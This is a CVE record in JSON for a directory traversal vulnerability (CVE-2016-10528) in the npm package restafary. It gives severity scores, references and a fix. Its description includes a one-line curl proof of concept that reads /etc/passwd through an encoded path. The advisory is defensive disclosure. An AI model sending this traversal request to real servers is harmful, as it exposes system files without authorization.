{"dataType": "CVE_RECORD", "containers": {"adp": [{"metrics": [{"other": {"type": "Unknown", "content": {"data": "{\"description\":\"MODERATE\"}"}}}], "affected": [{"vendor": "npm", "product": "restafary", "versions": [{"status": "affected", "version": "0", "lessThan": "1.6.1", "versionType": "semver"}], "defaultStatus": "unaffected"}], "references": [{"url": "https://github.com/advisories/GHSA-xg5r-8j97-2wrj"}, {"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-10528"}, {"url": "https://www.npmjs.com/advisories/89"}], "descriptions": [{"lang": "en", "value": "Affected versions of `restafary` are susceptible to a directory traversal vulnerability when a root path is specified in the configuration.\n\n\nProof of Concept\n\n```\ncurl -i -s -k  -X 'GET' -H 'Authorization: Basic YWRtaW46cGFzc3dvcmQ=' 'http://localhost:8000/api/v1/fs/..%2f..%2fetc/passwd'\n```\n\n\n## Recommendation\n\nUpdate to version 1.6.1 or later."}, {"lang": "en", "value": "Directory Traversal in restafary"}], "providerMetadata": {"orgId": "386269d4-a6c6-4eaa-bf8e-bc0b0d010558", "shortName": "npm", "dateUpdated": "2019-02-18T23:39:22Z", "x_subShortName": "npm"}}], "cna": {"metrics": [{"format": "CVSS", "cvssV2_0": {"version": "2.0", "baseScore": 4, "accessVector": "NETWORK", "vectorString": "AV:N/AC:L/Au:S/C:P/I:N/A:N", "authentication": "SINGLE", "integrityImpact": "NONE", "accessComplexity": "LOW", "availabilityImpact": "NONE", "confidentialityImpact": "PARTIAL"}}, {"format": "CVSS", "cvssV3_0": {"scope": "UNCHANGED", "version": "3.0", "baseScore": 4.9, "attackVector": "NETWORK", "baseSeverity": "MEDIUM", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "integrityImpact": "NONE", "userInteraction": "NONE", "attackComplexity": "LOW", "availabilityImpact": "NONE", "privilegesRequired": "HIGH", "confidentialityImpact": "HIGH"}}], "affected": [{"cpes": ["cpe:2.3:a:restafary_project:restafary:*:*:*:*:*:node.js:*:*"], "vendor": "restafary_project", "product": "restafary", "versions": [{"status": "affected", "version": "0", "lessThan": "1.6.1", "versionType": "custom"}], "platforms": ["node.js"], "defaultStatus": "unaffected"}], "references": [{"url": "https://nodesecurity.io/advisories/89", "tags": ["exploit", "third-party-advisory"]}], "descriptions": [{"lang": "en", "value": "restafary is a REpresentful State Transfer API for Creating, Reading, Using, Deleting files on a server from the web. Restafary before 1.6.1 is able to set up a root path, which should only allow it to run inside of that root path it specified."}, {"lang": "es", "value": "restafary es una API REpresentful State Transfer para crear, leer, utilizar o eliminar archivos en un servidor de la web. Restafary en versiones anteriores a la 1.6.1 puede establecer una ruta root, que solo debería permitirle ejecutarse en esta ruta root, si se especifica."}], "problemTypes": [{"descriptions": [{"lang": "en", "cweId": "CWE-22", "description": "CWE-22"}]}], "providerMetadata": {"orgId": "00000000-0000-4000-A000-000000000003", "shortName": "nvd", "dateUpdated": "2018-05-31T20:29:00Z", "x_subShortName": "nvd"}}}, "cveMetadata": {"cveId": "CVE-2016-10528", "state": "PUBLISHED", "dateUpdated": "2024-11-21T02:44:12Z", "assignerOrgId": "36234546-b8fa-4601-9d6f-f4e334aa8ea1", "datePublished": "2018-05-31T20:29:00Z", "assignerShortName": "hackerone"}, "dataVersion": "5.0"}